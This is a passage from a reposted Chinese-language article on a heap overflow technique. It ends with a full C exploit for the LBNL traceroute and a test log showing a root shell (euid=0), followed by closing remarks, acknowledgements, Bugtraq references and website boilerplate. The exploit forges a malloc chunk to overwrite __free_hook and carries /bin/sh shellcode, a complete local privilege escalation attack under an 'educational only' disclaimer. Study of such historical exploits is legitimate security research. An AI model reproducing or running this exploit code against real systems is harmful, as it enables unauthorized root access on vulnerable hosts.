  • /* Exploit for LBNL traceroute with unlinking nextchunk * - traceroute-ex.c * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR. * * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/08 */ #include <stdio.h> #include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook地址 */ #define VULPROG "/usr/sbin/traceroute"#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv) {unsigned int codeaddr = 0;char buf[128],fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);/* 設置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);memcpy(buf+20, fake_chunk, 16);execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);}/* End of main */
    測試結果:

    [warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
    [warning3@redhat-6 malloc]$ ./ex3
    bash# id
    uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
    bash#

    ★ 結束語:

    malloc/free的問題使得在某些平臺/系統下,Heap區溢出的危險性大大增加了,
    值得引起我們的重視。另外,除了free()可能出問題外,realloc()也可能出問題。
    有興趣的讀者可以自行參看一下realloc()的代碼。

    最初想寫這篇文檔是在去年10月份,后來由于種種原因,一直拖了下來,
    為此被scz罵了很多次。 現在總算完成了。

    ★ 感謝:

    感謝Solar Designer,Chris Evans,dvorak,Michel Kaempf無私地奉獻了他
    們的研究成果。(參見參考文獻.)

    ★ 參考文獻:

    [1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
    http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt

    [2] Chris Evans, <<Very interesting traceroute flaw>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html

    [3] dvorak , <<Traceroute exploit + story>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html

    [4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html
    希望大家提問前先 google 關鍵詞<br /> 希望大家提問前先看論壇的精華和置項的貼子<br /> 希望大家提問前先搜索論壇的相關內容<br /> 希望大家提問時把標題寫清楚<br /> 希望大家貼代碼時能保持縮進<br /> LFS ID:8158?

    轉載于:https://www.cnblogs.com/onlyforcloud/articles/4476436.html

    總結

    以上是生活随笔為你收集整理的一种新的Heap区溢出技术分析[转贴]的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。